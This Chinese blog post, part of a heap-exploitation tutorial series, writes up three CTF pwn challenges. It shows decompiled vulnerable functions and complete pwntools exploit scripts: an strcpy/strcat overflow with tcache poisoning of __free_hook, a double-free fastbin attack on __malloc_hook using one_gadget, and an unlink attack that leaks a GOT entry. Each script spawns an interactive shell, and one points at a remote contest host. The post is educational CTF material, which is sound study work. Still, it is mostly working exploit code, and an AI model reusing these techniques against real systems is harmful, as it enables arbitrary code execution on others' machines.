pwn堆入门系列教程1
pwn堆入门系列教程2
pwn堆入门系列教程3
pwn堆入门系列教程4
pwn堆入门系列教程5
要将别人的东西转化成自己的东西,还是得实操,自己去操作番才可以得到些东西,学了这么久,这几天的比赛也算是用上了,有unlink,有double free,这些操作用上了
我每次看到题目名字跟函数名字相同,我就知道点就在那个函数上,然而我当时已经看出这里有溢出了,然后调试的时候以为没覆盖到,原来只能覆盖到size,还是脑子不清晰,所以才会这样
乍一看就只有合并比较可疑了,通常堆题没合并,而题目又是mergeheap
int sub_E29() { int i; // [rsp+8h] [rbp-18h] int v2; // [rsp+Ch] [rbp-14h] int v3; // [rsp+10h] [rbp-10h] int v4; // [rsp+1Ch] [rbp-4h] for ( i = 0; i <= 14 && qword_2020A0[i]; ++i ) ; if ( i > 14 ) return puts("full"); printf("idx1:"); v2 = sub_B8B(); if ( v2 < 0 || v2 > 14 || !qword_2020A0[v2] ) return puts("invalid"); printf("idx2:"); v3 = sub_B8B(); if ( v3 < 0 || v3 > 14 || !qword_2020A0[v3] ) return puts("invalid"); v4 = dword_202060[v2] + dword_202060[v3]; qword_2020A0[i] = malloc(v4); strcpy(qword_2020A0[i], qword_2020A0[v2]); strcat(qword_2020A0[i], qword_2020A0[v3]); dword_202060[i] = v4; return puts("Done"); }
merge这里的strcpy跟strcat都是遇到\x00结束的,所以,我们如果将下一个堆块的pre_size当数据段来用的话,就可以复制到size部分,merge的时候会覆盖到下一个堆块的size,溢出覆盖size
int sub_D72() { _DWORD *v0; // rax int v2; // [rsp+Ch] [rbp-4h] printf("idx:"); v2 = sub_B8B(); if ( v2 >= 0 && v2 <= 14 && qword_2020A0[v2] ) { free(qword_2020A0[v2]); qword_2020A0[v2] = 0LL; v0 = dword_202060; dword_202060[v2] = 0; } else { LODWORD(v0) = puts("invalid"); } return v0; }
free过后,堆块内容未清空,也就是说,我们申请一个堆块,然后free掉,在申请到这个堆块时候,就可以查看原来堆块的内容
def add(size, content): io.sendline("1") io.sendline(str(size)) if len(content) != size: io.sendline(content) else: io.send(content) def show(idx): io.sendline("2") io.sendline(str(idx)) def delete(idx): io.sendline("3") io.sendline(str(idx)) def merge(idx1, idx2): io.sendline("4") io.sendline(str(idx1)) io.sendline(str(idx2))
for i in xrange(8): add(0x100, str(i)*0x10) for i in xrange(8): delete(7-i) add(0x8, '0'*8) #0 show(0) io.recvuntil("0"*8) libc_base = u64(io.recv(6).strip().ljust(8, '\x00'))-0x3ebda0 free_hook = libc_base + libc.symbols['__free_hook'] system_addr = libc_base + libc.symbols['system'] io.success("libc_base: 0x%x" % libc_base)
我反过来删除是因为show好弄些,也可以正向删除,show(7)
add(0xe0, '1') #1 add(0x10, '2'*0x10) #2 add(0x18, '3'*0x18) #3 add(0x80, '4'*0x80) #4 被复制的size add(0x20, '5'*0x20) #5 add(0x20, '6'*0x20) #6 size部分将被覆盖 delete(5) merge(2, 3) add(0x20, '7'*0x20) delete(7) delete(6) #构造overlap chunk
payload = 'a'*0x20 + p64(0) + p64(0x31) + p64(free_hook) add(0x80, payload) #6 #gdb.attach(io) add(0x20, '/bin/sh\x00') #7 add(0x20, p64(system_addr)) delete(7)
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from PwnContext.core import * local = True # Set up pwntools for the correct architecture exe = './' + 'mergeheap' elf = context.binary = ELF(exe) #don't forget to change it host = '127.0.0.1' port = 10000 #don't forget to change it #ctx.binary = './' + 'mergeheap' ctx.binary = exe libc = args.LIBC or 'libc-2.27.so' ctx.debug_remote_libc = True ctx.remote_libc = libc if local: context.log_level = 'debug' io = ctx.start() libc = ELF(libc) else: io = remote(host,port) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled def add(size, content): io.sendline("1") io.sendline(str(size)) if len(content) != size: io.sendline(content) else: io.send(content) def show(idx): io.sendline("2") io.sendline(str(idx)) def delete(idx): io.sendline("3") io.sendline(str(idx)) def merge(idx1, idx2): io.sendline("4") io.sendline(str(idx1)) io.sendline(str(idx2)) def exp(): for i in xrange(8): add(0x100, str(i)*0x10) for i in xrange(8): delete(7-i) add(0x8, '0'*8) #0 show(0) io.recvuntil("0"*8) libc_base = u64(io.recv(6).strip().ljust(8, '\x00'))-0x3ebda0 free_hook = libc_base + libc.symbols['__free_hook'] system_addr = libc_base + libc.symbols['system'] io.success("libc_base: 0x%x" % libc_base) add(0xe0, '1') #1 add(0x10, '2'*0x10) #2 add(0x18, '3'*0x18) #3 add(0x80, '4'*0x80) #4 add(0x20, '5'*0x20) #5 add(0x20, '6'*0x20) #6 delete(5) merge(2, 3) add(0x20, '7'*0x20) delete(7) delete(6) #构造overlap chunk payload = 'a'*0x20 + p64(0) + p64(0x31) + p64(free_hook) add(0x80, payload) #6 #gdb.attach(io) add(0x20, '/bin/sh\x00') #7 add(0x20, p64(system_addr)) delete(7) if __name__ == '__main__': exp() io.interactive()
int delete() { unsigned int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( lifecount ) { printf("Which life do you want to remove: "); __isoc99_scanf("%d", &v1); if ( v1 > 0x63 || !*(&lifelist + v1) ) { puts("Invalid choice"); return 0; } *(_DWORD *)*(&lifelist + v1) = 0; free(*((void **)*(&lifelist + v1) + 1)); puts("Successful , God !"); } else { puts("No life in this lonely planet~ "); } return puts("\n"); }
这里存在double free,free后为置空
我是多次利用double free然后成的,这道题说实话很坑,malloc_hook本地改成one_gadget是可以成功的,远程怎么打都打不上,后面学到一个骚操作,double free触发malloc_hook???原理我也不清楚,不过确实远程拿到shell了
ptr = 0x00000000006020E0-0x20-0x30-0x6 add(0x30, "a", "0") #0 add(0x30, "b", "1") #1 delete(0) delete(1) delete(0) add(0x30, p64(ptr), '2') #2 add(0x30, 'a', '3') #3 add(0x30, 'a', '4') #4 add(0x30, 'a'*0x20 + 'b'*5 , '5')#5 show() io.recvuntil("bbbbb") stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00')) stdout_addr = hex(stdout_addr)[:-2] stdout_addr = int(stdout_addr, 16) io.success("stdout_addr: 0x%x" % stdout_addr) libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_'] realloc_addr = libc_base + libc.symbols['__libc_realloc'] one_gadget = libc_base + 0x45216 one_gadget = libc_base + 0x4526a one_gadget = libc_base + 0xf02a4 one_gadget = libc_base + 0xf1147 malloc_hook = libc_base + libc.symbols['__malloc_hook'] ptr = malloc_hook-0x20-0x3
add(0x60, "a", "6")#6 add(0x60, "b", "7")#7 delete(6) delete(7) delete(6) add(0x60, p64(ptr), '8') #8 add(0x60, 'a', '9') #9 add(0x60, 'a', '10') #10 add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6') io.success("malloc_hook: 0x%x" % malloc_hook) io.success("libc_base: 0x%x" % libc_base ) io.success("one_gadget: 0x%x" % one_gadget)
double free 拿到shell,这里其实malloc一次本地可以拿shell,远程不行,原因未详,可能栈环境对不上
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from PwnContext.core import * local = True # Set up pwntools for the correct architecture exe = './' + 'pwn1' elf = context.binary = ELF(exe) #don't forget to change it #ctx.binary = './' + 'pwn1' ctx.binary = exe libc = args.LIBC or 'libc.so.6' ctx.debug_remote_libc = True ctx.remote_libc = libc if local: context.log_level = 'debug' io = ctx.start() libc = ELF(libc) else: libc = ELF(libc) io = remote(host,port) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX enabled # PIE: No PIE (0x400000) def add(size, name, level): io.sendlineafter("Your choice : ", "1") io.sendlineafter("Length of the name :", str(size)) io.sendlineafter("The name of this life :", name) io.sendlineafter("The level of this life (High/Low) :", level) def show(): io.sendlineafter("Your choice : ", "2") def delete(idx): io.sendlineafter("Your choice : ", "3") io.sendlineafter("Which life do you want to remove: ", str(idx)) def destroy(): io.sendlineafter("Your choice : ", "4") def exit(): io.sendlineafter("Your choice : ", "5") def exp(): ptr = 0x00000000006020E0-0x20-0x30-0x6 add(0x30, "a", "0") #0 add(0x30, "b", "1") #1 delete(0) delete(1) delete(0) add(0x30, p64(ptr), '2') #2 add(0x30, 'a', '3') #3 add(0x30, 'a', '4') #4 add(0x30, 'a'*0x20 + 'b'*5 , '5')#5 show() io.recvuntil("bbbbb") stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00')) stdout_addr = hex(stdout_addr)[:-2] stdout_addr = int(stdout_addr, 16) io.success("stdout_addr: 0x%x" % stdout_addr) libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_'] realloc_addr = libc_base + libc.symbols['__libc_realloc'] one_gadget = libc_base + 0x45216 one_gadget = libc_base + 0x4526a one_gadget = libc_base + 0xf02a4 one_gadget = libc_base + 0xf1147 malloc_hook = libc_base + libc.symbols['__malloc_hook'] ptr = malloc_hook-0x20-0x3 add(0x60, "a", "6")#6 add(0x60, "b", "7")#7 delete(6) delete(7) delete(6) add(0x60, p64(ptr), '8') #8 add(0x60, 'a', '9') #9 add(0x60, 'a', '10') #10 add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6') io.success("malloc_hook: 0x%x" % malloc_hook) io.success("libc_base: 0x%x" % libc_base ) io.success("one_gadget: 0x%x" % one_gadget) delete(2) delete(2) #add(0x30, 'a'*0x20+'b'*5,'3') #gdb.attach(io) ''' ''' if __name__ == '__main__': exp() io.interactive()
实战中遇到最简单的一道了?
unsigned __int64 record() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("record which?"); __isoc99_scanf("%d", &v1); if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 ) { puts("content?"); read(0, buf[v1], 0x100uLL); } return __readfsqword(0x28u) ^ v2; }
这里是固定大小,所以申请小堆块可以溢出
我的思路是溢出后unlink,然后在将两个堆块串联起来,unlink里介绍的手法,就是一个堆块指向另一个堆块存指针的地方,然后编辑一个堆块就是编辑地址,编辑另一个堆块就是编辑内容
初始化操作
def add(size): io.sendlineafter("your choice :\n", "1") io.sendlineafter("please input the size :\n", str(size)) def delete(idx): io.sendlineafter("your choice :\n", "2") io.sendlineafter("delete which ?\n",str(idx)) def show(idx): io.sendlineafter("your choice :\n", "3") io.sendlineafter("show which ?\n", str(idx)) def record(idx, content): io.sendlineafter("your choice :\n", "4") io.sendlineafter("record which?\n", str(idx)) io.sendlineafter("content?\n", content) def exit(): io.sendlineafter("your choice :\n", "5")
ptr = 0x6020c0 add(0x40) add(0x80) add(0x40) add(0x40) payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10) payload = payload.ljust(0x40) payload += p64(0x40) payload += p64(0x90) record(0, payload) record(1, "1"*0x10) delete(1) #show(0)
payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts']) record(0, payload) show(2)
io.recvuntil("the content is :") io.recvline() puts_addr = u64(io.recvline().strip().ljust(8, '\x00')) io.success("puts_addr: 0x%x" % puts_addr) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + libc.search("/bin/sh").next() free_hook = libc_base + libc.symbols['__free_hook'] #gdb.attach(io)
record(3, "/bin/sh") record(0, p64(free_hook)) record(2, p64(system_addr)) delete(3)
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from PwnContext.core import * local = False # Set up pwntools for the correct architecture exe = './' + 'pwn2' elf = context.binary = ELF(exe) #don't forget to change it host = '39.106.94.18' port = 32768 #don't forget to change it #ctx.binary = './' + 'pwn2' ctx.binary = exe libc = args.LIBC or 'libc.so.6' ctx.debug_remote_libc = True ctx.remote_libc = libc if local: #context.log_level = 'debug' io = ctx.start() libc = ELF(libc) else: io = remote(host,port) libc = ELF(libc) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX enabled # PIE: No PIE (0x400000) def add(size): io.sendlineafter("your choice :\n", "1") io.sendlineafter("please input the size :\n", str(size)) def delete(idx): io.sendlineafter("your choice :\n", "2") io.sendlineafter("delete which ?\n",str(idx)) def show(idx): io.sendlineafter("your choice :\n", "3") io.sendlineafter("show which ?\n", str(idx)) def record(idx, content): io.sendlineafter("your choice :\n", "4") io.sendlineafter("record which?\n", str(idx)) io.sendlineafter("content?\n", content) def exit(): io.sendlineafter("your choice :\n", "5") def exp(): ptr = 0x6020c0 add(0x40) add(0x80) add(0x40) add(0x40) payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10) payload = payload.ljust(0x40) payload += p64(0x40) payload += p64(0x90) record(0, payload) record(1, "1"*0x10) delete(1) #show(0) payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts']) record(0, payload) show(2) io.recvuntil("the content is :") io.recvline() puts_addr = u64(io.recvline().strip().ljust(8, '\x00')) io.success("puts_addr: 0x%x" % puts_addr) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + libc.search("/bin/sh").next() free_hook = libc_base + libc.symbols['__free_hook'] record(3, "/bin/sh") record(0, p64(free_hook)) record(2, p64(system_addr)) delete(3) #gdb.attach(io) #delete(0) if __name__ == '__main__': exp() io.interactive()
实操的时候发觉自己点是知道了,找漏洞点能力还待提升,利用起来也是得多调试下